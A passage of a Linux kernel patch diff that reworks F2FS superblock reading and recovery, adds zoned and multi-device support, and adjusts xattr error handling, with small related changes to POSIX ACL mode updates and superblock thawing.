sbi->key_prefix_size = F2FS_KEY_DESC_PREFIX_SIZE; +#endif +} + +static int init_percpu_info(struct f2fs_sb_info *sbi) +{ + int err; + + err = percpu_counter_init(&sbi->alloc_valid_block_count, 0); + if (err) + return err; + + return percpu_counter_init(&sbi->total_valid_inode_count, 0); +} + +#ifdef CONFIG_BLK_DEV_ZONED +static int init_blkz_info(struct f2fs_sb_info *sbi, int devi) +{ + struct block_device *bdev = FDEV(devi).bdev; + sector_t nr_sectors = bdev->bd_part->nr_sects; + sector_t sector = 0; + struct blk_zone *zones; + unsigned int i, nr_zones; + unsigned int n = 0; + int err = -EIO; + + if (!f2fs_sb_mounted_blkzoned(sbi->sb)) + return 0; + + if (sbi->blocks_per_blkz && sbi->blocks_per_blkz != + SECTOR_TO_BLOCK(bdev_zone_size(bdev))) + return -EINVAL; + sbi->blocks_per_blkz = SECTOR_TO_BLOCK(bdev_zone_size(bdev)); + if (sbi->log_blocks_per_blkz && sbi->log_blocks_per_blkz != + __ilog2_u32(sbi->blocks_per_blkz)) + return -EINVAL; + sbi->log_blocks_per_blkz = __ilog2_u32(sbi->blocks_per_blkz); + FDEV(devi).nr_blkz = SECTOR_TO_BLOCK(nr_sectors) >> + sbi->log_blocks_per_blkz; + if (nr_sectors & (bdev_zone_size(bdev) - 1)) + FDEV(devi).nr_blkz++; + + FDEV(devi).blkz_type = kmalloc(FDEV(devi).nr_blkz, GFP_KERNEL); + if (!FDEV(devi).blkz_type) + return -ENOMEM; + +#define F2FS_REPORT_NR_ZONES 4096 + + zones = kcalloc(F2FS_REPORT_NR_ZONES, sizeof(struct blk_zone), + GFP_KERNEL); + if (!zones) + return -ENOMEM; + + /* Get block zones type */ + while (zones && sector < nr_sectors) { + + nr_zones = F2FS_REPORT_NR_ZONES; + err = blkdev_report_zones(bdev, sector, + zones, &nr_zones, + GFP_KERNEL); + if (err) + break; + if (!nr_zones) { + err = -EIO; + break; + } + + for (i = 0; i < nr_zones; i++) { + FDEV(devi).blkz_type[n] = zones[i].type; + sector += zones[i].len; + n++; + } + } + + kfree(zones); + + return err; } +#endif /* * Read f2fs raw super block. - * Because we have two copies of super block, so read the first one at first, - * if the first one is invalid, move to read the second one. + * Because we have two copies of super block, so read both of them + * to get the first valid one. If any one of them is broken, we pass + * them recovery flag back to the caller. */ -static int read_raw_super_block(struct super_block *sb, +static int read_raw_super_block(struct f2fs_sb_info *sbi, struct f2fs_super_block **raw_super, - struct buffer_head **raw_super_buf, - int *recovery) + int *valid_super_block, int *recovery) { - int block = 0; - struct buffer_head *buffer; + struct super_block *sb = sbi->sb; + int block; + struct buffer_head *bh; struct f2fs_super_block *super; int err = 0; -retry: - buffer = sb_bread(sb, block); - if (!buffer) { - *recovery = 1; - f2fs_msg(sb, KERN_ERR, "Unable to read %dth superblock", + super = kzalloc(sizeof(struct f2fs_super_block), GFP_KERNEL); + if (!super) + return -ENOMEM; + + for (block = 0; block < 2; block++) { + bh = sb_bread(sb, block); + if (!bh) { + f2fs_msg(sb, KERN_ERR, "Unable to read %dth superblock", block + 1); - if (block == 0) { - block++; - goto retry; - } else { err = -EIO; - goto out; + continue; } - } - - super = (struct f2fs_super_block *) - ((char *)(buffer)->b_data + F2FS_SUPER_OFFSET); - /* sanity checking of raw super */ - if (sanity_check_raw_super(sb, super)) { - brelse(buffer); - *recovery = 1; - f2fs_msg(sb, KERN_ERR, - "Can't find valid F2FS filesystem in %dth superblock", - block + 1); - if (block == 0) { - block++; - goto retry; - } else { + /* sanity checking of raw super */ + if (sanity_check_raw_super(sbi, bh)) { + f2fs_msg(sb, KERN_ERR, + "Can't find valid F2FS filesystem in %dth superblock", + block + 1); err = -EINVAL; - goto out; + brelse(bh); + continue; } - } - if (!*raw_super) { - *raw_super_buf = buffer; - *raw_super = super; - } else { - /* already have a valid superblock */ - brelse(buffer); + if (!*raw_super) { + memcpy(super, bh->b_data + F2FS_SUPER_OFFSET, + sizeof(*super)); + *valid_super_block = block; + *raw_super = super; + } + brelse(bh); } - /* check the validity of the second superblock */ - if (block == 0) { - block++; - goto retry; - } + /* Fail to read any one of the superblocks*/ + if (err < 0) + *recovery = 1; -out: /* No valid superblock */ if (!*raw_super) - return err; + kfree(super); + else + err = 0; - return 0; + return err; } int f2fs_commit_super(struct f2fs_sb_info *sbi, bool recover) { - struct buffer_head *sbh = sbi->raw_super_buf; - sector_t block = sbh->b_blocknr; + struct buffer_head *bh; int err; - /* write back-up superblock first */ - sbh->b_blocknr = block ? 0 : 1; - mark_buffer_dirty(sbh); - err = sync_dirty_buffer(sbh); + if ((recover && f2fs_readonly(sbi->sb)) || + bdev_read_only(sbi->sb->s_bdev)) { + set_sbi_flag(sbi, SBI_NEED_SB_WRITE); + return -EROFS; + } - sbh->b_blocknr = block; + /* write back-up superblock first */ + bh = sb_getblk(sbi->sb, sbi->valid_super_block ? 0: 1); + if (!bh) + return -EIO; + err = __f2fs_commit_super(bh, F2FS_RAW_SUPER(sbi)); + brelse(bh); /* if we are in recovery path, skip writing valid superblock */ if (recover || err) - goto out; + return err; /* write current valid superblock */ - mark_buffer_dirty(sbh); - err = sync_dirty_buffer(sbh); -out: - clear_buffer_write_io_error(sbh); - set_buffer_uptodate(sbh); + bh = sb_getblk(sbi->sb, sbi->valid_super_block); + if (!bh) + return -EIO; + err = __f2fs_commit_super(bh, F2FS_RAW_SUPER(sbi)); + brelse(bh); return err; } +static int f2fs_scan_devices(struct f2fs_sb_info *sbi) +{ + struct f2fs_super_block *raw_super = F2FS_RAW_SUPER(sbi); + int i; + + for (i = 0; i < MAX_DEVICES; i++) { + if (!RDEV(i).path[0]) + return 0; + + if (i == 0) { + sbi->devs = kzalloc(sizeof(struct f2fs_dev_info) * + MAX_DEVICES, GFP_KERNEL); + if (!sbi->devs) + return -ENOMEM; + } + + memcpy(FDEV(i).path, RDEV(i).path, MAX_PATH_LEN); + FDEV(i).total_segments = le32_to_cpu(RDEV(i).total_segments); + if (i == 0) { + FDEV(i).start_blk = 0; + FDEV(i).end_blk = FDEV(i).start_blk + + (FDEV(i).total_segments << + sbi->log_blocks_per_seg) - 1 + + le32_to_cpu(raw_super->segment0_blkaddr); + } else { + FDEV(i).start_blk = FDEV(i - 1).end_blk + 1; + FDEV(i).end_blk = FDEV(i).start_blk + + (FDEV(i).total_segments << + sbi->log_blocks_per_seg) - 1; + } + + FDEV(i).bdev = blkdev_get_by_path(FDEV(i).path, + sbi->sb->s_mode, sbi->sb->s_type); + if (IS_ERR(FDEV(i).bdev)) + return PTR_ERR(FDEV(i).bdev); + + /* to release errored devices */ + sbi->s_ndevs = i + 1; + +#ifdef CONFIG_BLK_DEV_ZONED + if (bdev_zoned_model(FDEV(i).bdev) == BLK_ZONED_HM && + !f2fs_sb_mounted_blkzoned(sbi->sb)) { + f2fs_msg(sbi->sb, KERN_ERR, + "Zoned block device feature not enabled\n"); + return -EINVAL; + } + if (bdev_zoned_model(FDEV(i).bdev) != BLK_ZONED_NONE) { + if (init_blkz_info(sbi, i)) { + f2fs_msg(sbi->sb, KERN_ERR, + "Failed to initialize F2FS blkzone information"); + return -EINVAL; + } + f2fs_msg(sbi->sb, KERN_INFO, + "Mount Device [%2d]: %20s, %8u, %8x - %8x (zone: %s)", + i, FDEV(i).path, + FDEV(i).total_segments, + FDEV(i).start_blk, FDEV(i).end_blk, + bdev_zoned_model(FDEV(i).bdev) == BLK_ZONED_HA ? + "Host-aware" : "Host-managed"); + continue; + } +#endif + f2fs_msg(sbi->sb, KERN_INFO, + "Mount Device [%2d]: %20s, %8u, %8x - %8x", + i, FDEV(i).path, + FDEV(i).total_segments, + FDEV(i).start_blk, FDEV(i).end_blk); + } + return 0; +} + static int f2fs_fill_super(struct super_block *sb, void *data, int silent) { struct f2fs_sb_info *sbi; struct f2fs_super_block *raw_super; - struct buffer_head *raw_super_buf; struct inode *root; - long err; + int err; bool retry = true, need_fsck = false; char *options = NULL; - int recovery, i; + int recovery, i, valid_super_block; + struct curseg_info *seg_i; try_onemore: err = -EINVAL; raw_super = NULL; - raw_super_buf = NULL; + valid_super_block = -1; recovery = 0; /* allocate memory for f2fs-specific super block info */ @@ -1143,17 +1778,43 @@ static int f2fs_fill_super(struct super_block *sb, void *data, int silent) if (!sbi) return -ENOMEM; + sbi->sb = sb; + + /* Load the checksum driver */ + sbi->s_chksum_driver = crypto_alloc_shash("crc32", 0, 0); + if (IS_ERR(sbi->s_chksum_driver)) { + f2fs_msg(sb, KERN_ERR, "Cannot load crc32 driver."); + err = PTR_ERR(sbi->s_chksum_driver); + sbi->s_chksum_driver = NULL; + goto free_sbi; + } + /* set a block size */ if (unlikely(!sb_set_blocksize(sb, F2FS_BLKSIZE))) { f2fs_msg(sb, KERN_ERR, "unable to set blocksize"); goto free_sbi; } - err = read_raw_super_block(sb, &raw_super, &raw_super_buf, &recovery); + err = read_raw_super_block(sbi, &raw_super, &valid_super_block, + &recovery); if (err) goto free_sbi; sb->s_fs_info = sbi; + sbi->raw_super = raw_super; + + /* + * The BLKZONED feature indicates that the drive was formatted with + * zone alignment optimization. This is optional for host-aware + * devices, but mandatory for host-managed zoned block devices. + */ +#ifndef CONFIG_BLK_DEV_ZONED + if (f2fs_sb_mounted_blkzoned(sb)) { + f2fs_msg(sb, KERN_ERR, + "Zoned block device support is not enabled\n"); + goto free_sb_buf; + } +#endif default_options(sbi); /* parse mount options */ options = kstrdup((const char *)data, GFP_KERNEL); @@ -1166,11 +1827,14 @@ static int f2fs_fill_super(struct super_block *sb, void *data, int silent) if (err) goto free_options; - sb->s_maxbytes = max_file_size(le32_to_cpu(raw_super->log_blocksize)); + sbi->max_file_blocks = max_file_blocks(); + sb->s_maxbytes = sbi->max_file_blocks << + le32_to_cpu(raw_super->log_blocksize); sb->s_max_links = F2FS_LINK_MAX; get_random_bytes(&sbi->s_next_generation, sizeof(u32)); sb->s_op = &f2fs_sops; + sb->s_cop = &f2fs_cryptops; sb->s_xattr = f2fs_xattr_handlers; sb->s_export_op = &f2fs_export_ops; sb->s_magic = F2FS_SUPER_MAGIC; @@ -1180,11 +1844,8 @@ static int f2fs_fill_super(struct super_block *sb, void *data, int silent) memcpy(sb->s_uuid, raw_super->uuid, sizeof(raw_super->uuid)); /* init f2fs-specific super block info */ - sbi->sb = sb; - sbi->raw_super = raw_super; - sbi->raw_super_buf = raw_super_buf; + sbi->valid_super_block = valid_super_block; mutex_init(&sbi->gc_mutex); - mutex_init(&sbi->writepages); mutex_init(&sbi->cp_mutex); init_rwsem(&sbi->node_write); @@ -1205,6 +1866,10 @@ static int f2fs_fill_super(struct super_block *sb, void *data, int silent) init_waitqueue_head(&sbi->cp_wait); init_sb_info(sbi); + err = init_percpu_info(sbi); + if (err) + goto free_options; + /* get an inode for meta space */ sbi->meta_inode = f2fs_iget(sb, F2FS_META_INO(sbi)); if (IS_ERR(sbi->meta_inode)) { @@ -1219,24 +1884,26 @@ static int f2fs_fill_super(struct super_block *sb, void *data, int silent) goto free_meta_inode; } - /* sanity checking of checkpoint */ - err = -EINVAL; - if (sanity_check_ckpt(sbi)) { - f2fs_msg(sb, KERN_ERR, "Invalid F2FS checkpoint"); - goto free_cp; + /* Initialize device list */ + err = f2fs_scan_devices(sbi); + if (err) { + f2fs_msg(sb, KERN_ERR, "Failed to find devices"); + goto free_devices; } sbi->total_valid_node_count = le32_to_cpu(sbi->ckpt->valid_node_count); - sbi->total_valid_inode_count = - le32_to_cpu(sbi->ckpt->valid_inode_count); + percpu_counter_set(&sbi->total_valid_inode_count, + le32_to_cpu(sbi->ckpt->valid_inode_count)); sbi->user_block_count = le64_to_cpu(sbi->ckpt->user_block_count); sbi->total_valid_block_count = le64_to_cpu(sbi->ckpt->valid_block_count); sbi->last_valid_block_count = sbi->total_valid_block_count; - sbi->alloc_valid_block_count = 0; - INIT_LIST_HEAD(&sbi->dir_inode_list); - spin_lock_init(&sbi->dir_inode_lock); + + for (i = 0; i < NR_INODE_TYPE; i++) { + INIT_LIST_HEAD(&sbi->inode_list[i]); + spin_lock_init(&sbi->inode_lock[i]); + } init_extent_cache_info(sbi); @@ -1256,6 +1923,17 @@ static int f2fs_fill_super(struct super_block *sb, void *data, int silent) goto free_nm; } + /* For write statistics */ + if (sb->s_bdev->bd_part) + sbi->sectors_written_start = + (u64)part_stat_read(sb->s_bdev->bd_part, sectors[1]); + + /* Read accumulated write IO statistics if exists */ + seg_i = CURSEG_I(sbi, CURSEG_HOT_NODE); + if (__exist_node_summaries(sbi)) + sbi->kbytes_written = + le64_to_cpu(seg_i->journal->info.kbytes_written); + build_gc_manager(sbi); /* get an inode for node space */ @@ -1299,9 +1977,12 @@ static int f2fs_fill_super(struct super_block *sb, void *data, int silent) if (f2fs_proc_root) sbi->s_proc = proc_mkdir(sb->s_id, f2fs_proc_root); - if (sbi->s_proc) + if (sbi->s_proc) { proc_create_data("segment_info", S_IRUGO, sbi->s_proc, &f2fs_seq_segment_info_fops, sb); + proc_create_data("segment_bits", S_IRUGO, sbi->s_proc, + &f2fs_seq_segment_bits_fops, sb); + } sbi->s_kobj.kset = f2fs_kset; init_completion(&sbi->s_kobj_unregister); @@ -1317,7 +1998,7 @@ static int f2fs_fill_super(struct super_block *sb, void *data, int silent) * previous checkpoint was not done by clean system shutdown. */ if (bdev_read_only(sb->s_bdev) && - !is_set_ckpt_flags(sbi->ckpt, CP_UMOUNT_FLAG)) { + !is_set_ckpt_flags(sbi, CP_UMOUNT_FLAG)) { err = -EROFS; goto free_kobj; } @@ -1325,14 +2006,27 @@ static int f2fs_fill_super(struct super_block *sb, void *data, int silent) if (need_fsck) set_sbi_flag(sbi, SBI_NEED_FSCK); - err = recover_fsync_data(sbi); - if (err) { + if (!retry) + goto skip_recovery; + + err = recover_fsync_data(sbi, false); + if (err < 0) { need_fsck = true; f2fs_msg(sb, KERN_ERR, - "Cannot recover all fsync data errno=%ld", err); + "Cannot recover all fsync data errno=%d", err); + goto free_kobj; + } + } else { + err = recover_fsync_data(sbi, true); + + if (!f2fs_readonly(sb) && err > 0) { + err = -EINVAL; + f2fs_msg(sb, KERN_ERR, + "Need to recover fsync data"); goto free_kobj; } } +skip_recovery: /* recover_fsync_data() cleared this already */ clear_sbi_flag(sbi, SBI_POR_DOING); @@ -1349,20 +2043,26 @@ static int f2fs_fill_super(struct super_block *sb, void *data, int silent) kfree(options); /* recover broken superblock */ - if (recovery && !f2fs_readonly(sb) && !bdev_read_only(sb->s_bdev)) { - f2fs_msg(sb, KERN_INFO, "Recover invalid superblock"); - f2fs_commit_super(sbi, true); + if (recovery) { + err = f2fs_commit_super(sbi, true); + f2fs_msg(sb, KERN_INFO, + "Try to recover %dth superblock, ret: %d", + sbi->valid_super_block ? 1 : 2, err); } - sbi->cp_expires = round_jiffies_up(jiffies); - + f2fs_update_time(sbi, CP_TIME); + f2fs_update_time(sbi, REQ_TIME); return 0; free_kobj: + f2fs_sync_inode_meta(sbi); kobject_del(&sbi->s_kobj); + kobject_put(&sbi->s_kobj); + wait_for_completion(&sbi->s_kobj_unregister); free_proc: if (sbi->s_proc) { remove_proc_entry("segment_info", sbi->s_proc); + remove_proc_entry("segment_bits", sbi->s_proc); remove_proc_entry(sb->s_id, f2fs_proc_root); } f2fs_destroy_stats(sbi); @@ -1370,24 +2070,37 @@ static int f2fs_fill_super(struct super_block *sb, void *data, int silent) dput(sb->s_root); sb->s_root = NULL; free_node_inode: + truncate_inode_pages(NODE_MAPPING(sbi), 0); mutex_lock(&sbi->umount_mutex); + release_ino_entry(sbi, true); f2fs_leave_shrinker(sbi); + /* + * Some dirty meta pages can be produced by recover_orphan_inodes() + * failed by EIO. Then, iput(node_inode) can trigger balance_fs_bg() + * followed by write_checkpoint() through f2fs_write_node_pages(), which + * falls into an infinite loop in sync_meta_pages(). + */ + truncate_inode_pages(META_MAPPING(sbi), 0); iput(sbi->node_inode); mutex_unlock(&sbi->umount_mutex); free_nm: destroy_node_manager(sbi); free_sm: destroy_segment_manager(sbi); -free_cp: +free_devices: + destroy_device_list(sbi); kfree(sbi->ckpt); free_meta_inode: make_bad_inode(sbi->meta_inode); iput(sbi->meta_inode); free_options: + destroy_percpu_info(sbi); kfree(options); free_sb_buf: - brelse(raw_super_buf); + kfree(raw_super); free_sbi: + if (sbi->s_chksum_driver) + crypto_free_shash(sbi->s_chksum_driver); kfree(sbi); /* give only one another chance */ @@ -1466,23 +2179,22 @@ static int __init init_f2fs_fs(void) err = -ENOMEM; goto free_extent_cache; } - err = f2fs_init_crypto(); - if (err) - goto free_kset; register_shrinker(&f2fs_shrinker_info); err = register_filesystem(&f2fs_fs_type); if (err) goto free_shrinker; - f2fs_create_root_stats(); + err = f2fs_create_root_stats(); + if (err) + goto free_filesystem; f2fs_proc_root = proc_mkdir("fs/f2fs", NULL); return 0; +free_filesystem: + unregister_filesystem(&f2fs_fs_type); free_shrinker: unregister_shrinker(&f2fs_shrinker_info); - f2fs_exit_crypto(); -free_kset: kset_unregister(f2fs_kset); free_extent_cache: destroy_extent_cache(); @@ -1502,15 +2214,14 @@ static void __exit exit_f2fs_fs(void) { remove_proc_entry("fs/f2fs", NULL); f2fs_destroy_root_stats(); - unregister_shrinker(&f2fs_shrinker_info); unregister_filesystem(&f2fs_fs_type); - f2fs_exit_crypto(); + unregister_shrinker(&f2fs_shrinker_info); + kset_unregister(f2fs_kset); destroy_extent_cache(); destroy_checkpoint_caches(); destroy_segment_manager_caches(); destroy_node_manager_caches(); destroy_inodecache(); - kset_unregister(f2fs_kset); f2fs_destroy_trace_ios(); } @@ -1520,3 +2231,4 @@ module_exit(exit_f2fs_fs) MODULE_AUTHOR("Samsung Electronics's Praesto Team"); MODULE_DESCRIPTION("Flash Friendly File System"); MODULE_LICENSE("GPL"); + diff --git a/fs/f2fs/trace.c b/fs/f2fs/trace.c index 145fb659ad445..562ce0821559f 100644 --- a/fs/f2fs/trace.c +++ b/fs/f2fs/trace.c @@ -29,7 +29,8 @@ static inline void __print_last_io(void) last_io.major, last_io.minor, last_io.pid, "----------------", last_io.type, - last_io.fio.rw, last_io.fio.blk_addr, + last_io.fio.rw, + last_io.fio.new_blkaddr, last_io.len); memset(&last_io, 0, sizeof(last_io)); } @@ -101,7 +102,8 @@ void f2fs_trace_ios(struct f2fs_io_info *fio, int flush) last_io.pid == pid && last_io.type == __file_type(inode, pid) && last_io.fio.rw == fio->rw && - last_io.fio.blk_addr + last_io.len == fio->blk_addr) { + last_io.fio.new_blkaddr + last_io.len == + fio->new_blkaddr) { last_io.len++; return; } diff --git a/fs/f2fs/xattr.c b/fs/f2fs/xattr.c index dd0646a56874a..9a8a7d8b7bdfc 100644 --- a/fs/f2fs/xattr.c +++ b/fs/f2fs/xattr.c @@ -82,7 +82,7 @@ static int f2fs_xattr_generic_get(struct dentry *dentry, const char *name, } if (strcmp(name, "") == 0) return -EINVAL; - return f2fs_getxattr(dentry->d_inode, type, name, buffer, size, NULL); + return f2fs_getxattr(d_inode(dentry), type, name, buffer, size, NULL); } static int f2fs_xattr_generic_set(struct dentry *dentry, const char *name, @@ -107,7 +107,7 @@ static int f2fs_xattr_generic_set(struct dentry *dentry, const char *name, if (strcmp(name, "") == 0) return -EINVAL; - return f2fs_setxattr(dentry->d_inode, type, name, + return f2fs_setxattr(d_inode(dentry), type, name, value, size, NULL, flags); } @@ -129,7 +129,7 @@ static size_t f2fs_xattr_advise_list(struct dentry *dentry, char *list, static int f2fs_xattr_advise_get(struct dentry *dentry, const char *name, void *buffer, size_t size, int type) { - struct inode *inode = dentry->d_inode; + struct inode *inode = d_inode(dentry); if (strcmp(name, "") != 0) return -EINVAL; @@ -142,7 +142,7 @@ static int f2fs_xattr_advise_get(struct dentry *dentry, const char *name, static int f2fs_xattr_advise_set(struct dentry *dentry, const char *name, const void *value, size_t size, int flags, int type) { - struct inode *inode = dentry->d_inode; + struct inode *inode = d_inode(dentry); if (strcmp(name, "") != 0) return -EINVAL; @@ -152,7 +152,7 @@ static int f2fs_xattr_advise_set(struct dentry *dentry, const char *name, return -EINVAL; F2FS_I(inode)->i_advise |= *(char *)value; - mark_inode_dirty(inode); + f2fs_mark_inode_dirty_sync(inode, true); return 0; } @@ -265,18 +265,20 @@ static struct f2fs_xattr_entry *__find_xattr(void *base_addr, int index, return entry; } -static void *read_all_xattrs(struct inode *inode, struct page *ipage) +static int read_all_xattrs(struct inode *inode, struct page *ipage, + void **base_addr) { struct f2fs_sb_info *sbi = F2FS_I_SB(inode); struct f2fs_xattr_header *header; size_t size = PAGE_SIZE, inline_size = 0; void *txattr_addr; + int err; inline_size = inline_xattr_size(inode); txattr_addr = kzalloc(inline_size + size, GFP_F2FS_ZERO); if (!txattr_addr) - return NULL; + return -ENOMEM; /* read from inline xattr */ if (inline_size) { @@ -287,8 +289,10 @@ static void *read_all_xattrs(struct inode *inode, struct page *ipage) inline_addr = inline_xattr_addr(ipage); } else { page = get_node_page(sbi, inode->i_ino); - if (IS_ERR(page)) + if (IS_ERR(page)) { + err = PTR_ERR(page); goto fail; + } inline_addr = inline_xattr_addr(page); } memcpy(txattr_addr, inline_addr, inline_size); @@ -302,8 +306,10 @@ static void *read_all_xattrs(struct inode *inode, struct page *ipage) /* The inode already has an extended attribute block. */ xpage = get_node_page(sbi, F2FS_I(inode)->i_xattr_nid); - if (IS_ERR(xpage)) + if (IS_ERR(xpage)) { + err = PTR_ERR(xpage); goto fail; + } xattr_addr = page_address(xpage); memcpy(txattr_addr + inline_size, xattr_addr, PAGE_SIZE); @@ -317,10 +323,11 @@ static void *read_all_xattrs(struct inode *inode, struct page *ipage) header->h_magic = cpu_to_le32(F2FS_XATTR_MAGIC); header->h_refcount = cpu_to_le32(1); } - return txattr_addr; + *base_addr = txattr_addr; + return 0; fail: kzfree(txattr_addr); - return NULL; + return err; } static inline int write_all_xattrs(struct inode *inode, __u32 hsize, @@ -346,7 +353,8 @@ static inline int write_all_xattrs(struct inode *inode, __u32 hsize, if (ipage) { inline_addr = inline_xattr_addr(ipage); - f2fs_wait_on_page_writeback(ipage, NODE); + f2fs_wait_on_page_writeback(ipage, NODE, true); + set_page_dirty(ipage); } else { page = get_node_page(sbi, inode->i_ino); if (IS_ERR(page)) { @@ -354,7 +362,7 @@ static inline int write_all_xattrs(struct inode *inode, __u32 hsize, return PTR_ERR(page); } inline_addr = inline_xattr_addr(page); - f2fs_wait_on_page_writeback(page, NODE); + f2fs_wait_on_page_writeback(page, NODE, true); } memcpy(inline_addr, txattr_addr, inline_size); f2fs_put_page(page, 1); @@ -375,7 +383,7 @@ static inline int write_all_xattrs(struct inode *inode, __u32 hsize, return PTR_ERR(xpage); } f2fs_bug_on(sbi, new_nid); - f2fs_wait_on_page_writeback(xpage, NODE); + f2fs_wait_on_page_writeback(xpage, NODE, true); } else { struct dnode_of_data dn; set_new_dnode(&dn, inode, NULL, NULL, new_nid); @@ -413,9 +421,9 @@ int f2fs_getxattr(struct inode *inode, int index, const char *name, if (len > F2FS_NAME_LEN) return -ERANGE; - base_addr = read_all_xattrs(inode, ipage); - if (!base_addr) - return -ENOMEM; + error = read_all_xattrs(inode, ipage, &base_addr); + if (error) + return error; entry = __find_xattr(base_addr, index, len, name); if (IS_XATTR_LAST_ENTRY(entry)) { @@ -443,15 +451,15 @@ int f2fs_getxattr(struct inode *inode, int index, const char *name, ssize_t f2fs_listxattr(struct dentry *dentry, char *buffer, size_t buffer_size) { - struct inode *inode = dentry->d_inode; + struct inode *inode = d_inode(dentry); struct f2fs_xattr_entry *entry; void *base_addr; int error = 0; size_t rest = buffer_size; - base_addr = read_all_xattrs(inode, NULL); - if (!base_addr) - return -ENOMEM; + error = read_all_xattrs(inode, NULL, &base_addr); + if (error) + return error; list_for_each_xattr(entry, base_addr) { const struct xattr_handler *handler = @@ -482,13 +490,12 @@ static int __f2fs_setxattr(struct inode *inode, int index, const char *name, const void *value, size_t size, struct page *ipage, int flags) { - struct f2fs_inode_info *fi = F2FS_I(inode); struct f2fs_xattr_entry *here, *last; void *base_addr; int found, newsize; size_t len; __u32 new_hsize; - int error = -ENOMEM; + int error = 0; if (name == NULL) return -EINVAL; @@ -504,9 +511,9 @@ static int __f2fs_setxattr(struct inode *inode, int index, if (size > MAX_VALUE_LEN(inode)) return -E2BIG; - base_addr = read_all_xattrs(inode, ipage); - if (!base_addr) - goto exit; + error = read_all_xattrs(inode, ipage, &base_addr); + if (error) + return error; /* find entry with wanted name. */ here = __find_xattr(base_addr, index, len, name); @@ -539,7 +546,7 @@ static int __f2fs_setxattr(struct inode *inode, int index, free = free + ENTRY_SIZE(here); if (unlikely(free < newsize)) { - error = -ENOSPC; + error = -E2BIG; goto exit; } } @@ -567,7 +574,6 @@ static int __f2fs_setxattr(struct inode *inode, int index, * Before we come here, old entry is removed. * We just write new entry. */ - memset(last, 0, newsize); last->e_name_index = index; last->e_name_len = len; memcpy(last->e_name, name, len); @@ -581,19 +587,17 @@ static int __f2fs_setxattr(struct inode *inode, int index, if (error) goto exit; - if (is_inode_flag_set(fi, FI_ACL_MODE)) { - inode->i_mode = fi->i_acl_mode; - inode->i_ctime = CURRENT_TIME; - clear_inode_flag(fi, FI_ACL_MODE); + if (is_inode_flag_set(inode, FI_ACL_MODE)) { + inode->i_mode = F2FS_I(inode)->i_acl_mode; + inode->i_ctime = current_time(inode); + clear_inode_flag(inode, FI_ACL_MODE); } if (index == F2FS_XATTR_INDEX_ENCRYPTION && !strcmp(name, F2FS_XATTR_NAME_ENCRYPTION_CONTEXT)) f2fs_set_encrypted_inode(inode); - - if (ipage) - update_inode(inode, ipage); - else - update_inode_page(inode); + f2fs_mark_inode_dirty_sync(inode, true); + if (!error && S_ISDIR(inode->i_mode)) + set_sbi_flag(F2FS_I_SB(inode), SBI_NEED_CP); exit: kzfree(base_addr); return error; @@ -610,7 +614,7 @@ int f2fs_setxattr(struct inode *inode, int index, const char *name, if (ipage) return __f2fs_setxattr(inode, index, name, value, size, ipage, flags); - f2fs_balance_fs(sbi); + f2fs_balance_fs(sbi, true); f2fs_lock_op(sbi); /* protect xattr_ver */ @@ -619,5 +623,6 @@ int f2fs_setxattr(struct inode *inode, int index, const char *name, up_write(&F2FS_I(inode)->i_sem); f2fs_unlock_op(sbi); + f2fs_update_time(sbi, REQ_TIME); return err; } diff --git a/fs/f2fs/xattr.h b/fs/f2fs/xattr.h index 47cf0e58b0e8f..f3f8181b54743 100644 --- a/fs/f2fs/xattr.h +++ b/fs/f2fs/xattr.h @@ -128,7 +128,8 @@ extern ssize_t f2fs_listxattr(struct dentry *, char *, size_t); #define f2fs_xattr_handlers NULL static inline int f2fs_setxattr(struct inode *inode, int index, - const char *name, const void *value, size_t size, int flags) + const char *name, const void *value, size_t size, + struct page *page, int flags) { return -EOPNOTSUPP; } diff --git a/fs/posix_acl.c b/fs/posix_acl.c index 3542f1f814e2a..7a82cf1601d51 100644 --- a/fs/posix_acl.c +++ b/fs/posix_acl.c @@ -407,6 +407,37 @@ posix_acl_create(struct posix_acl **acl, gfp_t gfp, umode_t *mode_p) } EXPORT_SYMBOL(posix_acl_create); +/** + * posix_acl_update_mode - update mode in set_acl + * + * Update the file mode when setting an ACL: compute the new file permission + * bits based on the ACL. In addition, if the ACL is equivalent to the new + * file mode, set *acl to NULL to indicate that no ACL should be set. + * + * As with chmod, clear the setgit bit if the caller is not in the owning group + * or capable of CAP_FSETID (see inode_change_ok). + * + * Called from set_acl inode operations. + */ +int posix_acl_update_mode(struct inode *inode, umode_t *mode_p, + struct posix_acl **acl) +{ + umode_t mode = inode->i_mode; + int error; + + error = posix_acl_equiv_mode(*acl, &mode); + if (error < 0) + return error; + if (error == 0) + *acl = NULL; + if (!in_group_p(inode->i_gid) && + !capable_wrt_inode_uidgid(inode, CAP_FSETID)) + mode &= ~S_ISGID; + *mode_p = mode; + return 0; +} +EXPORT_SYMBOL(posix_acl_update_mode); + int posix_acl_chmod(struct posix_acl **acl, gfp_t gfp, umode_t mode) { diff --git a/fs/super.c b/fs/super.c index 2e35bff6db806..f94beee9c9bc0 100644 --- a/fs/super.c +++ b/fs/super.c @@ -1328,8 +1328,8 @@ int freeze_super(struct super_block *sb) } } /* - * This is just for debugging purposes so that fs can warn if it - * sees write activity when frozen is set to SB_FREEZE_COMPLETE. + * For debugging purposes so that fs can warn if it sees write activity + * when frozen is set to SB_FREEZE_COMPLETE, and for thaw_super(). */ sb->s_writers.frozen = SB_FREEZE_COMPLETE; up_write(&sb->s_umount); @@ -1348,7 +1348,7 @@ int thaw_super(struct super_block *sb) int error; down_write(&sb->s_umount); - if (sb->s_writers.frozen == SB_UNFROZEN) { + if (sb->s_writers.frozen != SB_FREEZE_COMPLETE) { up_write(&sb->s_umount); return -EINVAL; } diff --git a/include/linux/dcache.h b/include/linux/dcache.h index c1999d1fe6f8d..05d917f3eba8b 100644 --- a/include/linux/dcache.h +++ b/include/linux/dcache.h @@ -210,6 +210,8 @@ struct dentry_operations { #define DCACHE_DENTRY_KILLED 0x100000 +#define DCACHE_ENCRYPTED_WITH_KEY 0x04000000 /* dir is encrypted with a valid key */ + extern seqlock_t rename_lock; static inline int dname_external(struct dentry *dentry) diff --git a/include/linux/f2fs_fs.h b/include/linux/f2fs_fs.h index 25c6324a0dd04..083172fed2b73 100644 --- a/include/linux/f2fs_fs.h +++ b/include/linux/f2fs_fs.h @@ -21,7 +21,7 @@ #define F2FS_BLKSIZE 4096 /* support only 4KB block */ #define F2FS_BLKSIZE_BITS 12 /* bits for F2FS_BLKSIZE */ #define F2FS_MAX_EXTENSION 64 /* # of extension entries */ -#define F2FS_BLK_ALIGN(x) (((x) + F2FS_BLKSIZE - 1) / F2FS_BLKSIZE) +#define F2FS_BLK_ALIGN(x) (((x) + F2FS_BLKSIZE 